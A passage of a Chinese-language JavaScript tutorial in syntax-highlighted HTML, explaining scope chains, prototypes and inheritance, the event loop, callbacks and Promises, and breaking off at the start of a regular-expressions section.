&#123;</span><br><span class="line">  <span class="keyword">var</span> a = <span class="number">20</span>;</span><br><span class="line">  <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">30</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title function_">f2</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>(); <span class="comment">// 30</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>; <span class="comment">// 作用域链 级别:0</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="number">20</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> b = <span class="number">20</span>;</span><br><span class="line">  <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> c = <span class="number">30</span>;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title function_">f2</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>(); <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><h2 id="原型（链）"><a href="#原型（链）" class="headerlink" title="原型（链）"></a>原型（链）</h2><h3 id="原型"><a href="#原型" class="headerlink" title="原型"></a>原型</h3><p>每个对象都会在其内部初始化一个属性，就是prototype(原型)，当我们访问一个对象的属性时</p><p>如果这个对象内部不存在这个属性，那么他就会去prototype里找这个属性，这个prototype又会有自己的prototype，于是就这样一直找下去，也就是我们平时所说的原型链的概念</p><p><strong>函数的原型prototype</strong></p><p>​    每个函数默认有一个prototype属性（指针），其值指向一个对象，这个对象就是我们所说的原型（原型对象）。原型内有一个constructor属性指向构造函数本身</p><p><strong>实例对象的原型 __ proto __</strong></p><p>​    每个实例对象都有一个内置属性 __ proto __ ，指向创建这个实例的构造函数的prototype原型对象。每一个实例对象都能从该原型中 “继承” 属性和方法。所以构造函数的原型被其创建的每一个实例对象共享，因此也是每个实例对象的原型</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params"></span>) &#123;&#125;</span><br><span class="line"><span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line">p.<span class="property">__proto__</span> === <span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p>1、实例对象的<em><code>__proto__</code></em>和构造函数中的<em><code>prototype</code></em>全等</p><p>2、因为实例对象是通过构造函数来创建的，构造函数中有原型对象<em><code>prototype</code></em></p><p>3、实例对象的<em><code>__proto__</code><em>指向了构造函数的原型对象</em><code>prototype</code></em></p><p><strong>总结三者之间关系：</strong></p><p>1、构造函数可以实例化对象<br>2、构造函数中有一个属性叫(<em><code>prototype</code></em>)，是构造函数的原型对象<br>3、构造函数的原型对象(<em><code>prototype</code></em>)中有一个<em><code>constructor</code><em>构造器，这个构造器指向的就是自己所在的原型对象所在的构造函数<br>4、实例对象的原型对象(</em><code>__proto__</code></em>)指向的是该构造函数的原型对象(<em><code>prototype</code></em>)<br>5、构造函数的原型对象(<em><code>prototype</code></em>)中的方法是可以被实例对象直接访问的</p><h3 id="原型链"><a href="#原型链" class="headerlink" title="原型链"></a>原型链</h3><p>​    每个对象都有一个原型 __ proto __ ，这个原型对象还可以有他自己的原型 __ proto __ （该原型对象也是由构造函数创建，该构造函数也有prototype属性）。以此类推，形成一个实例与原型的 __ proto __ 链条，即<strong>原型链</strong></p><p>​    查找属性时，先在当前对象找，如果没有则去它的原型对象里找，在没有的话就去原型对象的原型对象里找，这个操作被委托在整个原型链上，链的最终端是null</p><img src="https://z3.ax1x.com/2021/05/25/2SYJL8.jpg" width="500px" /><p><strong>原型链继承</strong></p><p>可以让子类型构造函数的原型prototype等于父类型构造函数的实例对象，这样，子类型函数的实例对象就添加到了原型链上，可以访问父类型的实例对象及其链.上所有的属性和方法，即实现了继承。</p><img src="https://z3.ax1x.com/2021/05/25/2StCm8.jpg" width="500px" /><p>js通过原型链实现函数或对象的继承</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">原型的指向可以改变</span><br><span class="line">实例对象的原型__proto__指向的是该对象所在的构造函数的原型对象prototype</span><br><span class="line">构造函数的原型对象(prototype)指向如果改变了，实例对象的原型(__proto__)指向也会发生改变</span><br><span class="line">实例对象和原型对象之间的关系是通过__proto__原型来联系起来的，这个关系就是原型链</span><br><span class="line">最终指向：</span><br><span class="line">实例对象的__proto__-------&gt;<span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>的__proto__----&gt;<span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>的__proto__是<span class="literal">null</span></span><br></pre></td></tr></table></figure><p>继承是一种关系，类(class)与类之间的关系，JS中没有类，但是可以通过构造函数模拟类，然后通过原型来实现继承<br>继承也是为了数据共享，js中的继承也是为了<strong>实现数据共享</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 人类的构造函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">name</span> = name</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">age</span> = age</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 人类的原型的方法</span></span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 中国人的构造函数，中国人有身份证号</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Chinese</span>(<span class="params">id</span>) &#123;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">id</span> = id</span><br><span class="line">&#125;</span><br><span class="line"><span class="title class_">Chinese</span>.<span class="property"><span class="keyword">prototype</span></span> = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;李三&#x27;</span>, <span class="number">20</span>)</span><br><span class="line"><span class="title class_">Chinese</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">sayChinese</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;我会说中文&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 美国人的构造函数，美国人没有有身份证号</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">American</span>(<span class="params">sex</span>) &#123;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">sex</span> = sex</span><br><span class="line">&#125;</span><br><span class="line"><span class="title class_">American</span>.<span class="property"><span class="keyword">prototype</span></span> = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">18</span>)</span><br><span class="line"><span class="title class_">American</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">sayAmerican</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;我会说英文&#x27;</span>)</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> a = <span class="keyword">new</span> <span class="title class_">American</span>(<span class="string">&#x27;男&#x27;</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a.<span class="property">name</span>, a.<span class="property">age</span>, a.<span class="property">sex</span>) <span class="comment">// Jack 18 男</span></span><br><span class="line">a.<span class="title function_">say</span>() <span class="comment">// hello</span></span><br><span class="line">a.<span class="title function_">sayAmerican</span>() <span class="comment">// 我会说英文</span></span><br></pre></td></tr></table></figure><h3 id="原型作用"><a href="#原型作用" class="headerlink" title="原型作用"></a>原型作用</h3><p>数据共享、节省内存空间，<strong>实现继承</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">p1 = <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line">p2 = <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line">p1.<span class="title function_">say</span>(); <span class="comment">// hello</span></span><br><span class="line">p2.<span class="title function_">say</span>(); <span class="comment">// hello</span></span><br><span class="line">p1.<span class="property">say</span> == p2.<span class="property">say</span>; <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line">  <span class="keyword">var</span> p = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">20</span>);</span><br><span class="line">  p.<span class="title function_">say</span>();</span><br><span class="line">&#125; <span class="comment">// 会消耗大量内存</span></span><br></pre></td></tr></table></figure><p>通过原型来添加方法，解决数据共享，节省内存空间</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name,age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">say</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> p1 = <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line"><span class="keyword">var</span> p2 = <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line">p1.<span class="property">__proto__</span>.<span class="title function_">say</span>(); <span class="comment">// hello</span></span><br><span class="line">p2.<span class="property">__proto__</span>.<span class="title function_">say</span>(); <span class="comment">// hello</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p1.<span class="property">__proto__</span>.<span class="property">say</span> === p2.<span class="property">__proto__</span>.<span class="property">say</span>) <span class="comment">// true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p1.<span class="property">__proto__</span> == <span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>) <span class="comment">// true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(p2.<span class="property">__proto__</span> == <span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>) <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h2 id="JS循环机制"><a href="#JS循环机制" class="headerlink" title="JS循环机制"></a>JS循环机制</h2><p><strong>Javascript是一门非阻塞单线程脚本语言</strong></p><p><strong>1.为何单线程？</strong></p><p>一次只能干一件事，比如银行排队</p><img src="https://p3.pstatp.com/large/pgc-image/3b70b0c4f4dd43078e7d0ca2e2e111cd" /><p><strong>2.为何非阻塞？</strong></p><p>因为单线程意味着任务需要排队，任务按顺序执行，如果一个任务很耗时，下一个任务不得不等待。所以为了避免这种阻塞，我们需要一种非阻塞机制。</p><p>如上图， 简单就是，有个人正在办业务，发现忘了拿身份证，不可能一直等她回家拿身份证来，太耗时了。理想情况是她可以回家拿身份证，但这段时间应该办理下一个人的业务</p><p><strong>3.macro task与micro task</strong></p><p>在实际情况中，一直在银行排队的叫同步任务。忘了拿身份证的叫异步任务。异步任务分为两种：<strong>微任务</strong>（micro task)和<strong>宏任务</strong>（macro </p><p>task)</p><p>理解方式：忘了拿身份证的有好几个人，有的人离家近，有的人离家远。近的就叫微任务（micro task)，远的就叫宏任务（macro task)</p><p>微任务micro task事件：Promises(浏览器实现的原生Promise)、MutationObserver、process.nextTick </p><p>宏任务macro task事件：setTimeout、setInterval、setImmediate、I/O、UI rendering</p><p>microtask和macotask执行规则：</p><img src="https://p3.pstatp.com/large/pgc-image/88bc0d8c13384eeea76d218d51823e8c" /><h2 id="同步异步"><a href="#同步异步" class="headerlink" title="同步异步"></a>同步异步</h2><p><strong>javascript实现异步的原理</strong></p><p>​        首先js是单线程的语言，即同一时间只能做做一件事。那js如何实现异步的，异步和单线程不是自相矛盾吗？其实，单线程和异步确实不能同时成为一个语言的特性。js选择了成为单线程的语言，所以它本身不可能是异步的，但js的宿主环境（比如浏览器，Node）是多线程的，宿主环境通过某种方式（事件驱动）使得js具备了异步的属性</p><p>​        浏览器的内核是多线程的，它们在内核制控下相互配合以保持同步，一个浏览器至少实现三个常驻线程：javascript引擎线程，UI渲染线程，浏览器事件触发线程</p><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><table><thead><tr><th></th><th>描述</th><th>例如</th></tr></thead><tbody><tr><td>同步</td><td>发送一个请求，等待返回，然后再发送下一个请求</td><td></td></tr><tr><td>异步</td><td>发送一个请求，不等待返回，随时可以再发送下一个请求</td><td>网络请求、读取文件</td></tr></tbody></table><h3 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">同步和异步最大的区别就在于：一个需要等待，一个不需要等待。</span><br><span class="line">广播，就是一个异步例子，发起者不关心接收者的状态，不需要等待接收者的返回信息</span><br><span class="line">电话，就是一个同步例子，发起者需要等待接收者，接通电话后，通信才开始，需要等待接收者的返回信息</span><br></pre></td></tr></table></figure><h3 id="处理异步的方式"><a href="#处理异步的方式" class="headerlink" title="处理异步的方式"></a>处理异步的方式</h3><p><strong>一、回调函数（callback）</strong></p><p>回调（callback）是指一个函数被作为参数传递到另一个函数里，在那个函数执行完后再执行。（ B函数被作为参数传递到A函数里，在A函数执行完后再执行B ）<br>假定有两个函数f1和f2，f2等待f1的执行结果，f1()–&gt;f2()；如果f1很耗时，可以改写f1，把f2写成f1的回调函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params">callback</span>)&#123;</span><br><span class="line">　　<span class="built_in">setTimeout</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">　　　　<span class="title function_">callback</span>()</span><br><span class="line">　　&#125;, <span class="number">1000</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>(f2)  <span class="comment">// 1秒后输出 hello</span></span><br></pre></td></tr></table></figure><p>​        采用回调的方式，把同步操作变成了异步操作，f1不会堵塞程序运行，相当于先执行程序的主要逻辑，将耗时的操作推迟执行</p><p>​        回调函数是异步编程最基本的方法，其优点是简单、容易理解和部署，缺点是不利于代码的阅读和维护，各个部分之间高度耦合，流程会很混乱，而且每个任务只能指定一个回调函数</p><p>注意区分 回调函数和异步，回调是实现异步的一种手段，并不一定就是异步，回调也可以是同步</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">A</span>(<span class="params">callback</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;I am A&#x27;</span>)</span><br><span class="line">    <span class="title function_">callback</span>()  <span class="comment">//调用该函数</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">B</span>(<span class="params"></span>) &#123;</span><br><span class="line">   <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;I am B&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">A</span>(B)</span><br><span class="line"><span class="comment">// I am A</span></span><br><span class="line"><span class="comment">// I am B</span></span><br></pre></td></tr></table></figure><p><strong>二、事件监听</strong></p><p>采用事件驱动模式，任务的执行不取决代码的顺序，而取决于某一个事件是否发生</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">       <span class="variable language_">window</span>.<span class="title function_">alert</span>(<span class="string">&#x27;123&#x27;</span>)</span><br><span class="line">    &#125;,<span class="number">5000</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>() <span class="comment">// 5秒后输出 123</span></span><br></pre></td></tr></table></figure><p>优点：易理解，可绑定多个事件，每一个事件可指定多个回调函数，可以去耦合，有利于实现模块化<br>缺点：整个程序都要变成事件驱动型，运行流程会变得不清晰</p><p><strong>三、Promise对象</strong></p><p>Promise 是异步编程的一种解决方案</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">Promise</span>( <span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;...&#125;)</span><br></pre></td></tr></table></figure><p>​        Promise 是一个构造函数，所以可以通过<code>new Promise()</code>得到一个实例对象，Promise 实例对象代表一个异步操作</p><p>​        每当new一个Promise实例的时候，就会立即执行这个异步操作中代码，也就是说，new的时候，除了能够得到一个promise实例之外，还会立即调用我们为Promise构造函数传递的那个function，执行这个function中的异步操作代码</p><table><thead><tr><th><strong>Promise 对象存在以下三种状态</strong></th><th>描述</th></tr></thead><tbody><tr><td>pending</td><td>初始状态</td></tr><tr><td>fulfilled</td><td>成功状态</td></tr><tr><td>rejected</td><td>失败状态</td></tr></tbody></table><p>Promise 对象的初始状态是 pending，最终状态是 fulfilled 或者 rejected，其中 fulfilled 表示成功状态，rejected 表示失败状态。状态只能够由 pending 变成 fulfilled 或 rejected，当 Promise 对象的状态改变后就不可以再改变了</p><img src="https://mdn.mozillademos.org/files/8633/promises.png"><p>既然Promise创建的实例对象，是一个异步操作，那么异步操作的结果，只能有两种状态：</p><p>​        状态1：异步执行成功，需要在内部调用成功的回调函数<code>resolve</code>把结果返回给调用者</p><p>​        状态2：异步操作失败，需要在内部调用失败的回调函数<code>reject</code> 把结果返回给调用者</p><p>由于Promise的实例是一个异步操作，所以内部拿到的操作结果后，无法return把操作的结果返回给调用者，这时候只能使用回调函数的形式，来把成功或失败的结果，返回给调用者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> p = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="title function_">resolve</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">    &#125;, <span class="number">5000</span>)</span><br><span class="line">&#125;)</span><br><span class="line">p.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 5秒后输出 hello</span></span><br></pre></td></tr></table></figure><p>在Promise构造函数的Prototype属性上，有一个.then方法，也就是只要是Promise构造函数创建的实例对象，都可以访问到.then方法，在new出来的Promise实例下，调用.then方法，预先为这个Promise异步操作，指定成功(resolve)和失败(reject)回调函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">getFileByPath</span>(<span class="params">path</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">        fs.<span class="title function_">readFile</span>(path, <span class="string">&#x27;utf-8&#x27;</span>, <span class="function">(<span class="params">error, data</span>) =&gt;</span> &#123;</span><br><span class="line">            <span class="keyword">if</span>(error) <span class="keyword">return</span> <span class="title function_">reject</span>(error)</span><br><span class="line">            <span class="title function_">resolve</span>(data)</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// .then先执行</span></span><br><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02.txt&#x27;</span>).<span class="title function_">then</span>(</span><br><span class="line"><span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">&#125;, </span><br><span class="line"><span class="title function_">funtion</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error) </span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>解决回调地狱</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/01.txt&#x27;</span>)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data2</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data2)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/03 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data3</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data3)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>如果前面的Promise执行失败，我们不想让后续的Promise被终止，可以为每个Promise指定失败回调</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/01.txt&#x27;</span>)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;, <span class="keyword">function</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data2</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data2)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>有时候，我们有这样的需求，如果后续Promise执行，依赖于前面Promise执行的结果，如果前面失败了， 则后面的就没有执行下去的意义了，此时我们想要实现，一旦报错，则立即终止所有Promise的执行</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/01.txt&#x27;</span>)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data2</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data2)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/03 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data3</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data3)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">catch</span>(<span class="keyword">function</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 如果前面有任何的promise执行失败，会立即终止所有promise，并马上进入catch去处理promise中抛出的异常</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> someAsyncThing = <span class="keyword">function</span>(<span class="params">flag</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line"><span class="keyword">if</span>(flag)&#123;</span><br><span class="line"><span class="title function_">resolve</span>(<span class="string">&#x27;ok&#x27;</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="title function_">reject</span>(<span class="string">&#x27;error&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="title function_">someAsyncThing</span>(<span class="literal">true</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>)=&gt;</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;data:&#x27;</span>,data); <span class="comment">// 输出 &#x27;ok&#x27;</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>)=&gt;</span>&#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;error:&#x27;</span>, error); <span class="comment">// 不执行</span></span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="title function_">someAsyncThing</span>(<span class="literal">false</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>)=&gt;</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;data:&#x27;</span>,data); <span class="comment">// 不执行</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>)=&gt;</span>&#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;error:&#x27;</span>, error); <span class="comment">// 输出 &#x27;error&#x27;</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>上面代码中，someAsyncThing 函数成功返回 ‘OK’, 失败返回 ‘error’, 只有失败时才会被 catch 捕捉到。</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> promise = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">1</span>);</span><br><span class="line">  <span class="title function_">resolve</span>();</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">2</span>)</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">promise.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">3</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"><span class="number">1</span> <span class="number">2</span> <span class="number">4</span> <span class="number">3</span></span><br></pre></td></tr></table></figure><p>上面代码中，Promise 新建后立即执行，所以首先输出的是<code>1</code>和<code>2</code>。然后，<code>then</code>方法指定的回调函数，将在当前脚本所有同步任务执行完才会执行，所以<code>resolved</code>最后输出</p><h2 id="正则表达式"><a href="#正则表达式" class="headerlink" title="正则表达式"></a>正则表达式</h2><h3 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h3><blockquote><p>正则表达式：也叫规则表达式，按照一定的规则组成的一个表达式，这个表达式的作用主要是匹配字符串的</p></blockquote><p>原书这么一句话，特别棒：正则表达式是匹配模式，<strong>要么匹配字符，要么匹配位置</strong>，要记住！</p><p>​    <strong>正则表达式</strong>是用于匹配字符串中字符组合的模式。在 JavaScript中，正则表达式也是对象。这些模式被用于 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/RegExp"><code>RegExp</code></a> 的 <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec"><code>exec</code></a> 和 <a 